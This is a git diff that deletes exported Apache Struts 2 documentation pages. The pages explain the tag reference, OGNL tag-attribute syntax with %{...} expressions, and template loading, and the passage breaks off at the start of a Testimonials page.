-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Tag Reference</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19705">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19705">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19705">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19705">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19705">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19705">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h3 id="TagReference-GenericTags">Generic Tags</h3>
-
-<div class="panel" style="border-width: 1px;"><div class="panelHeader" style="border-bottom-width: 1px;"><b>Generic Tag Reference</b></div><div class="panelContent">
-<p>Struts Generic Tags control the execution flow as pages render.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Control Tags </p></th><td colspan="1" rowspan="1" class="confluenceTd"><ul><li><a shape="rect" href="if.html">if</a></li><li><a shape="rect" href="elseif.html">elseif</a></li><li><a shape="rect" href="else.html">else</a></li><li><a shape="rect" href="append.html">append</a></li><li><a shape="rect" href="generator.html">generator</a></li><li><a shape="rect" href="iterator. [...]
-</td><th colspan="1" rowspan="1" class="confluenceTh"><p> Data Tags </p></th><td colspan="1" rowspan="1" class="confluenceTd"><ul><li><a shape="rect" href="a.html">a</a></li><li><a shape="rect" href="action.html">action</a></li><li><a shape="rect" href="bean.html">bean</a></li><li><a shape="rect" href="date.html">date</a></li><li><a shape="rect" href="debug.html">debug</a></li><li><a shape="rect" href="i18n.html">i18n</a></li><li><a shape="rect" href="include.html">include</a></li><li><a [...]
-</td></tr></tbody></table></div>
-</div></div>
-
-<h3 id="TagReference-UITags">UI Tags</h3>
-
-<div class="panel" style="border-width: 1px;"><div class="panelHeader" style="border-bottom-width: 1px;"><b>UI Tag Reference</b></div><div class="panelContent">
-Struts UI Tags display data in rich and reusable HTML.<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Form Tags</p></th><td colspan="1" rowspan="1" class="confluenceTd"><ul><li><a shape="rect" href="checkbox.html">checkbox</a></li><li><a shape="rect" href="checkboxlist.html">checkboxlist</a></li><li><a shape="rect" href="combobox.html">combobox</a></li><li><a shape="rect" href="datetextfield.html">datetextfield</a></li [...]
-</div></div>
-
-<h2 id="TagReference-Next">Next <a shape="rect" href="ajax-tags.html">Ajax Tags</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tag-syntax.html b/content/docs/tag-syntax.html
deleted file mode 100644
index db8317b..0000000
--- a/content/docs/tag-syntax.html
+++ /dev/null
@@ -1,271 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Tag Syntax</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="tag-syntax.html">Tag Syntax</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Tag Syntax</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13927">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13927">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13927">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13927">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13927">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13927">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The tags are designed to display dynamic data. To create a input field that displays the property "postalCode", we'd pass the String "postalCode" to the textfield tag.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Creating a dynamic input field</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:textfield name="postalCode"/&gt;
-</pre>
-</div></div>
-<p>If there is a "postalCode" property on the value stack, its value will be set to the input field. When the field is submitted back to the framework, the value of the control will be set back to the "postalCode" property.</p>
-
-<p>Sometimes, we want to pass the dynamic data to a tag. For example, we might want to display a label with the input field, and we might want to obtain the label from the application's messages resources. Accordingly, the framework will parse expressions found in the tag attributes, so that we can merge dynamic data into the tag attributes at runtime. The expression escape sequence is "%{ ... }".  Any text embedded in the escape sequence is evalulated as an expression.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Using an expression to set the label</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:textfield key="postalCode.label" name="postalCode"/&gt;
-</pre>
-</div></div>
-<p>The expression language (<a shape="rect" href="ognl.html">OGNL</a>) lets us call methods and evaluate properties. The method <code>getText</code> is provided by ActionSupport, which is the base class for most Actions. Since the Action is on the stack, we can call any of its methods from an expression, including <code>getText</code>.</p>
-
-<h2 id="TagSyntax-Non-StringAttributes">Non-String Attributes</h2>
-
-<p>The HTTP protocol is text-based, but some tags have non-String attribute types, like <code>bool</code> or <code>int</code>. To make using non-String attributes intuitative, the framework evaulates <strong>all</strong> non-String attributes as an expression. In this case, you do not need to use the escape notation. (But, if you do anyway , the framework will just strip it off.)</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Evaluating booleans</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:select key="state.label" name="state" multiple="true"/&gt;
-</pre>
-</div></div>
-<p>Since the attribute <code>multiple</code> maps to a boolean property, the framework does not interpret the value as a String. The value is evaluated as an expression and automtically converted to a boolean.</p>
-
-<p>Since it's easy to forget which attributes are String and which are non-String, you can still use the escape notation.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Evaluating booleans (verbose)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:select key="state.label" name="state" multiple="%{true}"/&gt;
-</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Evaluating booleans (with property)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:select key="state.label" name="state" multiple="allowMultiple"/&gt;
-</pre>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Evaluating booleans (verbose with property)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:select key="state.label" name="state" multiple="%{allowMultiple}"/&gt;
-</pre>
-</div></div>
-
-<h2 id="TagSyntax-valueisanObject!"><code>value</code> is an Object!</h2>
-
-<p>Most often, the <code>value</code> attribute is set automatically, since <code>name</code> attribute usually tells the framework which property to call to set the <code>value</code>. But, if there is a reason to set the <code>value</code> directly, be advised that <code><strong>value</strong></code> <strong>is an Object</strong> <strong><em>NOT</em></strong> <strong>a String</strong>.</p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Since <code>value</code> is not a String, whatever is passed to <code>value</code> is evaluated as an expression - <strong>NOT</strong> a String literal.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Probably wrong!</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:textfield key="state.label" name="state" value="ca"/&gt;
-</pre>
-</div></div>
-<p>If a <code>textfield</code> is passed the value attribute <code>"ca"</code>, the framework will look for a property named <code>getCa</code>. Generally, this is not what we mean. What we mean to do is pass a literal String. In the expression language, literals are placed within quotes</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Passing a literal value the right way</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:textfield key="state.label" name="state" value="%{'ca'}" /&gt;
-</pre>
-</div></div>
-<p>Another approach would be to use the idiom <code>value="'ca'"</code>, but, in this case, using the expression notation is recommended.</p>
-
-<p>Boiled down, the tag attributes are evaluated using three rules.</p>
-<ol><li>All <em>String</em> attribute types are <em>parsed</em> for the "%{ ... }" notation.</li><li>All <em>non-String</em> attribute  types are <strong>not</strong> parsed, but evaluated directly as an expression</li><li>The exception to rule #2 is that if the <em>non-String</em> attribute uses the escape notion "%{}", the notation is ignored as redundant, and the content evaluated.</li></ol>
-
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please remember about <em>altSyntax</em> option that can change when value is evaluated as an expression - <a shape="rect" href="alt-syntax.html">Alt Syntax</a></p></div></div>
-
-<h2 id="TagSyntax-ExpressionLanguageNotations">Expression Language Notations</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"> <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;p&gt;Username: ${user.username}&lt;/p&gt;</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"><p> A JavaBean object in a standard context in Freemarker, Velocity, or JSTL EL (Not OGNL). </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"> <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;s:textfield name="username"/&gt;</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"><p> A username property on the Value Stack. </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"> <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;s:url id="es" action="Hello"&gt;
-  &lt;s:param name="request_locale"&gt;
-    es
-  &lt;/s:param&gt;
-&lt;/s:url&gt;
-&lt;s:a href="%{es}"&gt;Espanol&lt;/s:a&gt;</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"><p>  Another way to refer to a property placed on the Value Stack. </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"> <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;s:property
-  value="#session.user.username" /&gt;</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"><p> The username property of the User object in the Session context. </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"> <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;s:select
-  label="FooBar" name="foo"
-  list="#{'username':'trillian',
-    'username':'zaphod'}" /&gt;</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"><p>  A static Map, as in put("username","trillian"). </p></td></tr></tbody></table></div>
-
-
-<h2 id="TagSyntax-Disallowedpropertynames">Disallowed property names</h2>
-
-<p>The following names of property are disallowed:</p>
-<ul><li>parameters</li><li>application</li><li>session</li><li>struts</li><li>request</li><li>servletRequest</li><li>servletResponse</li></ul>
-
-
-<p>The below code will not work:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:iterator value="parameters"/&gt;
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyAction {
-
-    private String[] parameters;
-
-    public String[] getParameters() {
-        return parameters;
-    }
-
-}
-</pre>
-</div></div>
-
-<h2 id="TagSyntax-Next:">Next: <a shape="rect" href="jsp.html">JSP</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/template-loading.html b/content/docs/template-loading.html
deleted file mode 100644
index 2384b58..0000000
--- a/content/docs/template-loading.html
+++ /dev/null
@@ -1,145 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Template Loading</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="template-loading.html">Template Loading</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Template Loading</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13817">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13817">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13817">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13817">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13817">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13817">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1488973384600 {padding: 0px;}
-div.rbtoc1488973384600 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1488973384600 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1488973384600">
-<ul class="toc-indentation"><li><a shape="rect" href="#TemplateLoading-TemplateandThemes">Template and Themes</a></li><li><a shape="rect" href="#TemplateLoading-OverridingTemplates">Overriding Templates</a></li><li><a shape="rect" href="#TemplateLoading-AlteringTemplateLoadingBehaviour">Altering Template Loading Behaviour</a></li><li><a shape="rect" href="#TemplateLoading-AlternativeTemplateEngines">Alternative Template Engines</a></li></ul>
-</div><p>Templates are loaded first by searching the application and then by searching the classpath. If a template needs to be overridden, an edited copy can be placed in the application, so that is found first.</p><div class="confluence-information-macro confluence-information-macro-information"><p class="title">One for all</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>FreeMarker is  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/testimonials.html b/content/docs/testimonials.html
deleted file mode 100644
index fd4d736..0000000
--- a/content/docs/testimonials.html
+++ /dev/null
@@ -1,159 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Testimonials</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="testimonials.html">Testimonials</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
